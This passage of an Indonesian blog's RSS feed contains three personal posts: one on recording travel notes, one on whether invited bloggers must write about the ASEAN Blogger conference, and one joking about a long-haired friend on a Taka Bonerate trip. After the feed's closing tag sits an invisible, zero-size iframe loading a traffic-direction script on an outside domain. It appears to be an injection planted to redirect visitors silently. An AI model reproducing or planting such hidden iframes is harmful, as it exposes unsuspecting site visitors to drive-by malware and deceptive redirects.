<p>Dalam sebuah postingannya, ada komentar yang menanggapi kejeliannya mencatat hal-hal kecil sepanjang perjalanannya ke beberapa tempat di Indonesia. Saya menduga kalau Lomar memang sangat rajin mencatat, atau kalau tidak dia pasti punya ingatan yang kuat.</p>
<p>Kadang-kadang dalam sebuah perjalanan saya sendiri agak malas mencatat, apalagi kalau sebuah perjalanan saya lakukan ke sebuah tempat yang sudah sering saya datangi. Biasanya saya lebih banyak mengandalkan ingatan karena biasanya catatan perjalanan itu secepatnya saya tuangkan ke dalam postingan di blog begitu menemukan internet.</p>
<p>Mencatat hal-hal penting dalam perjalanan memang membutuhkan <em>sense</em> khusus, hal-hal yang biasanya dianggap remeh oleh orang lain dan tidak perlu dicatat biasanya malah menjadi hal yang sangat menarik bila kita catat dan gali lebih dalam. <em>Sense</em> ini hanya bisa ditumbuhkan dengan pengalaman tentu saja, banyak membaca catatan perjalanan orang lain dan banyak melakukan perjalanan. Saya sendiri belum sampai pada tahap ini.</p>
<p>Dalam perjalanan terakhir ke Taka Bonerate saya juga banyak belajar dari Toar dan Anchu, belajar bagaimana mereka mencatat hal-hal kecil semisal rute kapal feri, harga tiket dan lama perjalanan. Selain itu saya juga belajar bagaimana mewawancarai narasumber untuk mendapatkan angle cerita yang lebih menarik serta tentu saja informasi yang lebih lengkap.</p>
<p>Begitulah, bagi saya sebuah perjalanan yang baik adalah perjalanan yang dicatat. Orang-orang Eropa dan Amerika terkenal sebagai orang-orang yang rajin mencatat sehingga tidak heran dokumentasi perjalanan mereka begitu rapih dan bahkan tersebar dan mempengaruhi banyak negara di dunia. Sebuah perjalanan yang tidak dicatat apalagi dibagikan hanya akan menjadi sebuah perjalanan yang sepi, hanya dikenang oleh kita sendiri.</p>
<p>Jadi, ketika melakukan sebuah perjalanan marilah mulai mencatat semua hal tentang perjalanan itu. Setelah dicatat, bagikanlah biar orang lain juga merasakan aura positif dari perjalanan anda. Bukankah berbagi itu indah dan menyenangkan ? Yuk, mari mencatat perjalanan.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/12/mencatat-perjalanan/" title="saya tidak akan malas mencatat">saya tidak akan malas mencatat</a> (8)</li><li><a href="http://daenggassing.com/2011/12/mencatat-perjalanan/" title="perjalanan">perjalanan</a> (7)</li><li><a href="http://daenggassing.com/2011/12/mencatat-perjalanan/" title="mencatat">mencatat</a> (5)</li><li><a href="http://daenggassing.com/2011/12/mencatat-perjalanan/" title="masih tentang perjalananku">masih tentang perjalananku</a> (3)</li><li><a href="http://daenggassing.com/2011/12/mencatat-perjalanan/" title="tempat untuk mencatat">tempat untuk mencatat</a> (2)</li></ul><div class="shr-publisher-2121"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F12%2Fmencatat-perjalanan%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/12/mencatat-perjalanan/feed/</wfw:commentRss>
		<slash:comments>11</slash:comments>
		</item>
		<item>
		<title>Haruskah Blogger Menulis ?</title>
		<link>http://daenggassing.com/2011/11/haruskah-blogger-menulis/</link>
		<comments>http://daenggassing.com/2011/11/haruskah-blogger-menulis/#comments</comments>
		<pubDate>Thu, 24 Nov 2011 17:31:11 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Blogging]]></category>
		<category><![CDATA[Opini]]></category>
		<category><![CDATA[blogging]]></category>
		<category><![CDATA[Risa Hart]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2091</guid>
		<description><![CDATA[Ketika seorang blogger diundang dalam kapasitasnya sebagai seorang blogger pada sebuah konferensi sebagai blogger, haruskah dia menulis tentang acara itu ? Saya terlambat menyadarinya. Ternyata kemarin sesiangan ada perdebatan yang hangat di twitter. Pemicunya adalah postingan dari Risa Amrikasari, seorang blogger dan juga praktisi HAKI. Mbak Risa ( selanjutnya saya sebut Risa saja ) berceloteh [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2092" class="wp-caption aligncenter" style="width: 588px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/blogging.jpg"><img class="size-full wp-image-2092" title="blogging" src="http://daenggassing.com/wp-content/uploads/2011/11/blogging.jpg" alt="" width="578" height="406" /></a><p class="wp-caption-text">Blogging</p></div>
<blockquote>
<h3>Ketika seorang blogger diundang dalam kapasitasnya sebagai seorang blogger pada sebuah konferensi sebagai blogger, haruskah dia menulis tentang acara itu ?</h3>
</blockquote>
<p>Saya terlambat menyadarinya. Ternyata kemarin sesiangan ada perdebatan yang hangat di twitter. Pemicunya adalah postingan dari Risa Amrikasari, seorang blogger dan juga praktisi HAKI. Mbak Risa ( selanjutnya saya sebut Risa saja ) berceloteh pasca penyelenggaraan konferensi Asean Blogger Community di Bali beberapa waktu yang lalu.</p>
<p>Risa menyoroti kurangnya tulisan dari para blogger peserta konferensi tentang acara yang bertajuk konferensi itu. Saya lupa kalimat pastinya, tapi dalam postingannya di blog Perempuan Indonesia dia bercerita bagaimana kewajiban seorang blogger yang menjadi undangan dalam sebuah event. Menurut Risa, blogger yang diundang adalah blogger yang dianggap memiliki kapasitas sebagai seorang blogger, seorang yang memiliki blog pribadi dan rajin mengisinya. Karena kapasitasnya itulah maka seharusnya para blogger itu juga punya ?kewajiban? untuk membuat reportase tentang acara yang diikutinya. Apalagi acara tersebut bertema konferensi, sebuah hal yang serius dan membawa nama Indonesia.</p>
<p>Setidaknya itu yang saya tangkap dari twit maupun <a href="http://www.perempuanindonesia.org/?p=1301">penjelasan Risa di blognya</a>.</p>
<p>Dalam satu sisi saya merasa setuju dengan penjelasan itu. ?Sebuah pertemuan, apalagi sebuah konferensi tentu dilakukan karena adanya satu kesamaan, entah profesi maupun visi. Konferensi di Bali kemarin juga digelar untuk para blogger, dan karenanya yang diundang adalah para blogger. Kondisinya mungkin sama bila para dokter se ASEAN mengadakan konferensi, yang diiundang pastilah hanya para dokter. Mereka yang berprofesi dokter pasti akan mengimplementasikan hasil konferensi dalam profesinya. Nah hal yang sama juga berlaku dalam dunia blogging. Blogger yang diundang dalam kapasitas sebagai blogger dalam sebuah acara resmi bertajuk konferensi tentu punya kewajiban moral untuk menulis tentang acara itu, toh mereka adalah blogger yang memang seharusnya ngeblog, nulis di blog pribadi.</p>
<p>Hanya saja masalahnya memang tidak segampang itu. Blogger jaman sekarang memang sedikit bergeser dibandingkan masa-masa awal ketika blog masih booming. Para blogger senior saat ini banyak yang lebih aktif di twitter daripada blog pribadi sehingga untuk langsung menulis reportase sebuah acara kadang jadi pilihan kesekian, toh reportasenya sudah beredar lewat twitter. Bandingkan dengan keadaan beberapa tahun lalu ketika sebuah kopdar saja bisa ditulis panjang lebar di blog pribadi.</p>
<p>Masalah menjadi tambah rumit ketika ada yang merasa dipaksa untuk menulis sebagai kompensasi atas undangan dalam acara tersebut. Bahkan ada yang bilang kalau blogger tidak bisa dibeli. Menurut saya itu reaksi yang berlebihan. Saya mencoba mencermati twit Risa berkali-kali dan merasa tidak menemukan sebuah paksaan, hanya sebuah pertanyaan. Tapi mungkin saya salah, toh saya bukan siapa-siapa.</p>
<p>Saya terpaksa bicara tentang diri saya. Sampai sekarang saya masih menganggap diri saya sebagai seorang passionate blogger, sehingga kejadian apapun sedapat mungkin saya tuliskan. Selepas hadir di acara Kopdar Blogger Nusantara saya sampai menuliskan 3 tulisan berseri tentang acara tersebut. Sebenarnya bukan karena merasa wajib atau merasa karena ada tanggung jawab, sepenuhnya hanya karena merasa perlu saya tuliskan meski sebagian besarnya hanya tulisan tentang kejadian di balik layar atau kesan personal.</p>
<p>Kasus berbeda terjadi ketika kami blogger Makassar diundang mengunjungi <a href="../../../../../2011/11/takabonerate-bag-2-tinabo-sepotong-surga-di-selatan-sulawesi/">taman nasional Taka Bonerate</a>. Dari awal kami memang sudah diberitahu bahwa undangan ini datang karena kapasitas kami sebagai blogger yang diharapkan bisa merasakan langsung kawasan taman nasional tersebut sekaligus bercerita tentang Taka Bonerate kepada dunia. Sebenarnya tidak ada poin yang menjelaskan keharusan kami menulis tentang perjalanan itu, tapi sekembalinya dari sana saya merasa punya kewajiban untuk menulis tentang tempat indah itu sebagai balasan ( kalau bisa dibilang begitu ) atas semua fasilitas yang kami dapatkan meski sederhana. Alasan kewajiban mungkin cuma sedikit, selebihnya adalah karena alasan pribadi tentu saja, bagaimana saya sangat menikmati perjalanan tersebut sehingga kemudian tergerak untuk menulisnya dalam 3 seri postingan.</p>
<p>Tapi sekali lagi kasus ini tentu berbeda dengan kasus yang saya tuliskan di atas karena dari awal memang ada ekspektasi dari pihak pengundang agar kami sebagai blogger bisa bercerita banyak soal Taman Nasional Taka Bonerate, meski tidak ada perjanjian kalau kami harus menulisnya. Tanggung jawab morallah yang kemudian membuat saya dan beberapa teman kemudian menulis tentang perjalanan tersebut.</p>
<p>Sebagai orang yang tidak ikut dalam acara Konferensi Asean Blogger Community di Bali kemarin, saya tentu tidak punya hak untuk ikut bicara banyak. Saya berhenti pada perenungan tentang wajib tidaknya blogger menulis tentang sebuah ajang ketika dia datang sebagai undangan yang mendapatkan fasilitas full. Soal diskusi ( atau mungkin lebih tepat disebut twitwar ) yang kemudian terjadi karena twit dari Risa tersebut saya tidak berani menanggapi lebih lanjut.</p>
<p>Hanya saja ada satu twit dari <strong>Herman Saksono</strong> yang menurut saya bisa jadi kunci dari pertanyaan saya soal wajib tidaknya blogger undangan menulis tentang event tersebut. Bunyinya :</p>
<blockquote><p>Tanggung jawab blogger adalah menulis yang menurutnya penting dan benar. Kegiatan akan naik ke blog jika memang layak ditulis.</p></blockquote>
<p>Sebuah kata kunci yang mungkin bisa menjelaskan pertanyaan Risa tentang kenapa sedikit sekali blogger yang menulis tentang acara ABC kemarin. Jadi ? Masalah sudah selesai bukan ? Pertanyaan sudah terjawab.</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/11/haruskah-blogger-menulis/" title="daeng ongkos">daeng ongkos</a> (2)</li><li><a href="http://daenggassing.com/2011/11/haruskah-blogger-menulis/" title="menulis bloger">menulis bloger</a> (1)</li></ul><div class="shr-publisher-2091"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F11%2Fharuskah-blogger-menulis%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/11/haruskah-blogger-menulis/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
		<item>
		<title>Derita Lelaki Gondrong</title>
		<link>http://daenggassing.com/2011/11/derita-lelaki-gondrong/</link>
		<comments>http://daenggassing.com/2011/11/derita-lelaki-gondrong/#comments</comments>
		<pubDate>Wed, 23 Nov 2011 13:01:24 +0000</pubDate>
		<dc:creator>iPul dg.Gassing</dc:creator>
				<category><![CDATA[Opini]]></category>
		<category><![CDATA[Antimo]]></category>
		<category><![CDATA[Becak]]></category>
		<category><![CDATA[Gondrong]]></category>
		<category><![CDATA[Payung]]></category>

		<guid isPermaLink="false">http://daenggassing.com/?p=2085</guid>
		<description><![CDATA[Cerita ini masih ada hubungannya dengan perjalanan ke Taka Bonerate Salah satu peserta Trip AM ke Taka Bonerate kemarin adalah seorang kawan baik yang lebih sering menggunakan nickname Lelaki Bugis. Lelaki gempal berkacamata ini sudah lama kami kenal meski memang tidak terlalu aktif di komunitas Anging Mammiri. Sehari-harinya dia lebih sering aktif di Kampung Buku [...]]]></description>
			<content:encoded><![CDATA[<!-- Start Shareaholic LikeButtonSetTop Automatic --><!-- End Shareaholic LikeButtonSetTop Automatic --><div id="attachment_2086" class="wp-caption aligncenter" style="width: 610px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/pj5musk.jpg"><img class="size-full wp-image-2086" title="pj5musk" src="http://daenggassing.com/wp-content/uploads/2011/11/pj5musk.jpg" alt="" width="600" height="331" /></a><p class="wp-caption-text">Musisi Rock Berambut Gondrong</p></div>
<blockquote>
<h3>Cerita ini masih ada hubungannya dengan perjalanan ke <a href="http://daenggassing.com/2011/11/takabonerate-bag-1-jalan-panjang-menuju-surga/">Taka Bonerate</a></h3>
</blockquote>
<p>Salah satu peserta Trip AM ke Taka Bonerate kemarin adalah seorang kawan baik yang lebih sering menggunakan nickname <a href="http://lelakibugis.net/">Lelaki Bugis</a>. Lelaki gempal berkacamata ini sudah lama kami kenal meski memang tidak terlalu aktif di komunitas Anging Mammiri. Sehari-harinya dia lebih sering aktif di Kampung Buku atau penerbit Ininnawa. Keikutsertaannya ke Taka Boneratepun sebenarnya tidak disengaja. Hanya karena kebetulan dia menyimak <em>timeline</em> twitter yang berisi kicauan kami tentang trip itu sampai akhirnya dia ikut nimbrung dan ingin ikut serta. Jadilah kemudian dia ikut dalam rombongan.</p>
<p>Si Lelaki Bugis ini punya ciri khas selain tubuhnya yang gempal yaitu rambut gondrongnya yang ikal dan cenderung kerinting. Dan rambut gondrongnya itulah yang membuat beberapa cerita lucu mewarnai perjalanan kami ke Taka Bonerate.</p>
<p>Rambut gondrong bagi lelaki biasanya diidentikkan dengan macho dan sangar. Lihat saja para musisi rock jaman dulu, bagaimana mereka memamerkan ?kelelakiannya? dengan rambut gondrong sebahu plus beberapa tatto di sekujur tubuh. Bagi orang tua, anak muda dengan rambut gondrong pasti langsung dianggap sebagai preman atau anak yang tidak benar. Ada juga yang mengidentikkan rambut gondrong sebagai ciri khas seniman.</p>
<p>Karena dianggap macho dan sangar itu hingga kemudian muncul banyak pantangan bagi para lelaki gondrong. Pantangan yang kadang tidak masuk akal, tapi tercipta karena anggapan macho dan sangar yang menyertai geraian rambut sebahu itu.</p>
<p>Contoh pantangan itu adalah : <strong>gondrong tidak boleh naik becak</strong> karena akan dianggap cengeng. Adalah lebih terhormat bila gondrong jalan kaki. <strong>Gondrong tidak boleh minum susu</strong>, karena minum susu adalah kebiasaan anak kecil dan kaum perempuan saja. Gondrong minum susu hanya akan membuat kredibiltasnya jadi turun. <strong>Gondrong tidak boleh pake payung</strong>, terlalu feminin dan kebanci-bancian. Gondrong lebih terhormat bila membiarkan tubuhnya basah kuyup terkena air hujan daripada harus menggunakan payung. Apalagi payung warna-warni atau warna pink. Habis sudah kesan sangarnya kalau sampai itu terjadi.</p>
<p>Banyak lagi pantangan yang kadang disematkan kepada orang-orang gondrong itu, sehingga kadang-kadang terasa kalau mereka itu bukan manusia karena sudah kehilangan banyak hak sebagai manusia biasa.</p>
<div id="attachment_2097" class="wp-caption alignleft" style="width: 210px"><a href="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4850.jpg"><img class="size-medium wp-image-2097" title="IMG_4850" src="http://daenggassing.com/wp-content/uploads/2011/11/IMG_4850-200x300.jpg" alt="" width="200" height="300" /></a><p class="wp-caption-text">The Gondrongs</p></div>
<p>Derita sebagai orang gondrong jugalah yang membayangi si Lelaki Bugis selama kurun waktu perjalanan ke Taka Bonerate. Derita pertama adalah ketika kami bersiap melintasi lautan dengan kapal kayu dalam rentang waktu 7 jam. Sebelum naik ke kapal, Daeng Mappe ( salah seorang peserta trip ) membagikan Antimo sebagai bahan untuk penghalang mabuk laut. Semua peserta menelan pil anti mabuk itu, termasuk si Lelaki Bugis.</p>
<p>Ketika peserta yang lain menenggak pil kecil itu, tidak ada yang berkomentar. Tapi lain halnya ketika si Lelaki Bugis yang melakukannya. Saya secara refleks langsung bekomentar : <strong>gondrong koq minum antimo ?</strong> Dan peserta yang lain sontak tertawa geli. Begitulah, antimo dianggap sebagai salah satu barang haram untuk disentuh para lelaki gondrong karena potensial menurunkan kadar macho dan sangar mereka.</p>
<p>Siksaan untuk Lelaki Bugis menyangkut kredibilitasnya sebagai lelaki gondrong terus berlanjut. Setibanya <strong>di </strong><a href="../../../../../2011/11/takabonerate-bag-2-tinabo-sepotong-surga-di-selatan-sulawesi/"><strong>pulau Tinabo</strong></a> ketika kami semua mencicipi air laut yang bening itu, si Lelaki Bugis juga menceburkan diri. Parahnya, ternyata dia tidak bisa berenang dan jadilah dia menikmati laut dengan <em>safety jacket</em> melekat di tubuh. Awalnya dia masih sangat ketakutan. Tidak berani berenang jauh dari kayu di dermaga dan memilih berpegangan erat di kayu dermaga. ?Belakangan dia mulai berani berenang agak jauh, masih dengan <em>life jacket</em> di tubuh dan sekarang ditambah dengan memegang erat tambang yang terikat ke dermaga.</p>
<p><strong>&#8221; Woii..gondrong koq pake pelampung ? Pake pegang-pegang tali pula..&#8221;,</strong> itu gurauan yang saya lontarkan. Semua tertawa riuh. Dan si Lelaki Bugis hanya menjawab, &#8221; daripada saya mati tenggelam..? &#8221;</p>
<p>Siksaan belum berakhir. Dalam perjalanan pulang kami menumpang kapal kecil dan mendapati malam di lautan lepas. Suasana yang temaram dan hanya dihiasi jutaan bintang di angkasa potensial membuat pikiran melayang ke sana ke mari. Orang sekarang menyebutnya galau. Dalam perjalanan, ada waktu di mana semua jadi diam dan hanya menatap bintang. Termasuk si Lelaki Bugis.</p>
<p>Saya kembali menyelutuk dengan isengnya, &#8220;<strong> gondrong koq galau ? &#8220;</strong> Ah sekali lagi si Lelaki Bugis harus menerima siksaan karena rambutnya yang gondrong itu. Sungguh kasihan.</p>
<p>Begitulah, kadang-kadang karena sebuah atribut yang melekat di tubuh kita sampai kita dianggap bukan manusia biasa lagi. Dianggap sudah tidak membutuhkan beberapa hal yang seharusnya juga menjadi hak dasar kita sebagai manusia. Gondrong, meski sering dianggap sebagai perlambang kemachoan dan kesangaran sesungguhnya tetaplah manusia biasa. Gondrong juga punya hak untuk memakai payung, naik becak, minum susu, pake <em>life jacket</em> dan menggalau.</p>
<p>Bagaimanapun gondrong juga manusia. Bukan begitu Lelaki Bugis ?</p>
<h4>Incoming search terms:</h4><ul><li><a href="http://daenggassing.com/2011/11/derita-lelaki-gondrong/" title="pria berambut gondrong">pria berambut gondrong</a> (2)</li><li><a href="http://daenggassing.com/2011/11/derita-lelaki-gondrong/" title="gondrong itu">gondrong itu</a> (2)</li><li><a href="http://daenggassing.com/2011/11/derita-lelaki-gondrong/" title="preman rambut gondrong">preman rambut gondrong</a> (1)</li><li><a href="http://daenggassing.com/2011/11/derita-lelaki-gondrong/" title="preman bugis">preman bugis</a> (1)</li><li><a href="http://daenggassing.com/2011/11/derita-lelaki-gondrong/" title="manusia gondrong">manusia gondrong</a> (1)</li></ul><div class="shr-publisher-2085"></div><!-- Start Shareaholic LikeButtonSetBottom Automatic --><!-- End Shareaholic LikeButtonSetBottom Automatic -->
<p class="FacebookLikeButton"><fb:like href="http%3A%2F%2Fdaenggassing.com%2F2011%2F11%2Fderita-lelaki-gondrong%2F" layout="standard" show_faces="true" width="450" action="like" colorscheme="light"></fb:like></p>
]]></content:encoded>
			<wfw:commentRss>http://daenggassing.com/2011/11/derita-lelaki-gondrong/feed/</wfw:commentRss>
		<slash:comments>29</slash:comments>
		</item>
	</channel>
</rss>
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
